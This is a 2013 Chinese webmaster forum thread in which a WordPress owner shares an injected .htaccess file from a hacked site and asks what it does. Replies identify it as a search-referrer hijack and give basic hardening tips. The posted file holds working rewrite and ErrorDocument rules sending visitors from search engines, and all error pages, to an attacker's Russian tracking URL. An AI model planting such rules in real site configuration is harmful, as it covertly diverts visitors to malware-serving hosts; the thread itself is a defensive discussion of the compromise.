AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

Binom
 谷歌+Bing+TT+MSN官方代理 
⚡️按条S5代理⚡️静态⚡️独享⚡️5G需要代理IP?⚡️Proxysites.ai⚡️指纹浏览器,就用AdsPower
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
DuoPlus专注打造跨境电商云手机E.PN 虚拟卡BINOM TRACKER 60% OFF!比Adplexity还好用的Spy工具
MediaGo+Taboola+Ob开户百度国际MediaGo⚡️让产品狂奔全球百度国际,高点击转化,快速放量百度国际MediaGo,独家原生流量
ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款全球虚拟卡, 支持U充值
Facebook 批量上广告尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)FB 三不限源头 - 自助下户充值转款
各种主页、账单户、BM户(优势)⚡️个人户,bm户不限额,账单户一手BM分享户不限额9Proxy ⚡️ $0.04/IP, 无限带宽
IPCola原生住宅IP⚡️$2.1/条双ISPFB二三解0.1元一个虚拟卡|PTM星际卡FB专用虚拟卡
Google、Bing官方总代  联盟流量开户FB账号资源/稳定靠谱/运行5年啦FB开户代投/三不限/白名单fb耐用号0.01一个
fb账号官方合作商搜索套利开户❤️Bigo/Kwai/MediagoFB资源,账单户,分享户,国内一手FB企业户BM户账单户源头
广告位出租   
查看: 27177|回复: 21

[闲聊] 看我某站点上的.haccess文件,这是被别人黑了吧?谢谢

[复制链接]

51

主题

818

广告币

1778

积分

高级会员

Rank: 4

积分
1778
发表于 2013-4-9 16:22:26 | 显示全部楼层 |阅读模式
一个wordpress站点,
今天偶尔将二级目录打错,发现跳转到
  1. http://pyatnickiy.ru/track.php
复制代码
纳闷,一顿搜索,发现站点根目录下的.haccess文件达27KB

$ P5 {0 Z9 [* _5 S$ `6 p
打开一看,部分代码如下
  1. <IfModule mod_rewrite.c>                                0 @& ~' e! U% s- a% L
  2. RewriteEngine On                                       
    , ~) i4 }3 N; ]2 P
  3. RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)         ( p: Q' e+ G) e7 j. w/ q0 @( ^
  4. RewriteRule ^(.*)$ http://pyatnickiy.ru/track.php [R=301,L]   6 Q' w4 R( c3 A% L9 Q  B$ u; w
  5. RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)                                                                                
      T# p  P/ ~: ^* [2 `( i8 n
  6. RewriteRule ^(.*)$ http://pyatnickiy.ru/track.php [R=301,L]                                                
    5 a; v- O" c# \  `$ E0 ?
  7. </IfModule>                                                                                                                                                                     & Y! A4 g3 Z- m( x3 F
  8. ErrorDocument 400 http://pyatnickiy.ru/track.php                                                ) i. J. p* @: y3 Q! u% P/ M
  9. ErrorDocument 401 http://pyatnickiy.ru/track.php        ' o' E7 e* z. I
  10. ErrorDocument 403 http://pyatnickiy.ru/track.php        3 U" }6 q5 y0 F# w; K% L2 l3 @7 X
  11. ErrorDocument 404 http://pyatnickiy.ru/track.php        , ^' U% z7 P0 y1 l
  12. ErrorDocument 500 http://pyatnickiy.ru/track.php
复制代码
这是曾经被别人黑过了吧?
黑客到我站点里做了什么,对他有什么好处呢?  - v9 A( N' R  j' Q. U9 `- Q- S1 B$ ^
求助,谢了先( x! u1 i  ~. A

1 A! Q9 G  i; H# ~" A3 a& D1 f& F5 c; [3 _$ W
; ~. g/ v& q" O3 q/ U# ^! ^$ d* O
相关帖子
回复

使用道具 举报

51

主题

818

广告币

1778

积分

高级会员

Rank: 4

积分
1778
 楼主| 发表于 2013-4-9 16:23:22 | 显示全部楼层
补充,这个站点安装在hawkhost老鹰主机的空间里
回复 支持 反对

使用道具 举报

7

主题

614

广告币

1003

积分

中级会员

Rank: 3Rank: 3

积分
1003
发表于 2013-4-9 16:35:26 | 显示全部楼层
来源那些搜索引擎的流量 301到那个网站3 i9 A1 r( i7 |; P- @( Q3 P
' i* Z' @) {* [$ x8 w! P) d; V
400等那些错误 也到那个网站
9 ~5 [/ N2 f$ w2 s
回复 支持 反对

使用道具 举报

110

主题

521

广告币

1181

积分

中级会员

Rank: 3Rank: 3

积分
1181

社区QQ达人

发表于 2013-4-9 16:52:30 | 显示全部楼层
网站被劫持了 自己打开看不到& Q: l: \' A! m2 l
从GOOGLE点进来301到http://pyatnickiy.ru/track.php
回复 支持 反对

使用道具 举报

51

主题

818

广告币

1778

积分

高级会员

Rank: 4

积分
1778
 楼主| 发表于 2013-4-9 17:13:44 | 显示全部楼层
生鱼片 发表于 2013-4-9 16:52   f$ T& V1 X0 ~1 }- ]
网站被劫持了 自己打开看不到- F' j* y" h' s; ^
从GOOGLE点进来301到http://pyatnickiy.ru/track.php

/ T2 H4 k& O& I$ h/ y2 H谢谢,果然如此,
& k4 b& F9 q- s5 o3 Z& r; T. N, c0 A  e, w% @: I7 x5 S$ Z
我在google.com里site:domain.com ,点链接过去,google提示
8 j1 ^/ h  C: e  f5 i4 |# \7 Q; W" }
要前往的网站包含恶意软件!! B. C; f, r& l* H
Google Chrome现已阻止访问 mampoks.ru。
回复 支持 反对

使用道具 举报

2

主题

57

广告币

130

积分

初级会员

Rank: 2

积分
130
发表于 2013-4-9 17:22:02 | 显示全部楼层
俄罗斯的黑客。。。
回复 支持 反对

使用道具 举报

7

主题

51

广告币

155

积分

初级会员

Rank: 2

积分
155

社区QQ达人

发表于 2013-4-9 17:34:16 | 显示全部楼层
最近发觉黑客活动特别频繁,让我等小白情何以堪
回复 支持 反对

使用道具 举报

163

主题

606

广告币

3050

积分

高级会员

Rank: 4

积分
3050

社区QQ达人

发表于 2013-4-9 18:21:45 | 显示全部楼层
一直不知道这个文件的作用
回复 支持 反对

使用道具 举报

3

主题

469

广告币

468

积分

中级会员

Rank: 3Rank: 3

积分
468

社区QQ达人

发表于 2013-4-9 20:31:00 | 显示全部楼层
网站被劫持了 自己打开看不到4 P% H: t" J9 Q1 y; ]/ `! X
回复 支持 反对

使用道具 举报

35

主题

317

广告币

488

积分

中级会员

Rank: 3Rank: 3

积分
488

社区QQ达人

发表于 2013-4-9 21:51:43 | 显示全部楼层
number007 发表于 2013-4-9 20:31
& }( J7 Q1 Q- X1 Q9 Y" R网站被劫持了 自己打开看不到
: G2 {- }/ s$ `1 Q
301跳转。
* i) x& B  i' @$ c从上面来路的,自动跳转到他的网站。
[url=http://www.allgraphics123.com/enjoy-2/][img]h
回复 支持 反对

使用道具 举报

35

主题

317

广告币

488

积分

中级会员

Rank: 3Rank: 3

积分
488

社区QQ达人

发表于 2013-4-9 21:56:19 | 显示全部楼层
roror999 发表于 2013-4-9 16:23
' t$ ^- l6 p% Z0 p( ^. e2 P$ P补充,这个站点安装在hawkhost老鹰主机的空间里
& R6 i  H* _, O) S& Y/ N
我也是老鹰主机的。也出现过这种情况。301跳转。老鹰主机一个IP 几十个站,对方是旁注写入的。你根本就没有办法。5 n- p' x" t) f: Q  w8 K
给ADMIN文件夹加个密吧。否则有你受的。8 w: P- s/ n5 x; w2 A& l* h
不知道你是不是WP程序,如果是,加个安全插件。通过这两个方法,应该可以解决这个问题。
[url=http://www.allgraphics123.com/enjoy-2/][img]h
回复 支持 反对

使用道具 举报

131

主题

1185

广告币

1983

积分

高级会员

小李飞刀

Rank: 4

积分
1983

社区QQ达人

发表于 2013-4-9 22:33:15 | 显示全部楼层
好人 发表于 2013-4-9 21:56
$ \+ A7 b, t% X, d- p3 R我也是老鹰主机的。也出现过这种情况。301跳转。老鹰主机一个IP 几十个站,对方是旁注写入的。你根本就没 ...

, t1 f( c) {( \/ I% u文件夹加密怎么设置啊 在哪里设置?
多学习,多实践
回复 支持 反对

使用道具 举报

31

主题

238

广告币

435

积分

中级会员

Rank: 3Rank: 3

积分
435

社区QQ达人

发表于 2013-4-9 22:34:29 | 显示全部楼层
看来要注意下了,,,
回复 支持 反对

使用道具 举报

51

主题

818

广告币

1778

积分

高级会员

Rank: 4

积分
1778
 楼主| 发表于 2013-4-9 23:29:37 | 显示全部楼层
好人 发表于 2013-4-9 21:56
  |$ |) F  `  R我也是老鹰主机的。也出现过这种情况。301跳转。老鹰主机一个IP 几十个站,对方是旁注写入的。你根本就没 ...

: @" n% ?3 m2 p$ x' F# U" ?9 \/ M2 X5 F7 n4 C3 r# v1 g" z
兄弟您好,用的wordpress$ J& Z' s; W+ Q' n9 |1 J
请问,给admin文件夹加密,怎么做呀?
* f, N2 }8 q, K8 @
- E; `3 p; ?1 j4 }- g谢了先
9 L  `9 q: S: k2 c2 p3 Q* j
回复 支持 反对

使用道具 举报

9

主题

102

广告币

199

积分

初级会员

Rank: 2

积分
199

社区QQ达人

发表于 2013-4-10 00:32:40 | 显示全部楼层
被劫持了。这些关键词从这些搜索引擎进来则跳转。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2024-12-24 20:20 , Processed in 0.050702 second(s), 13 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表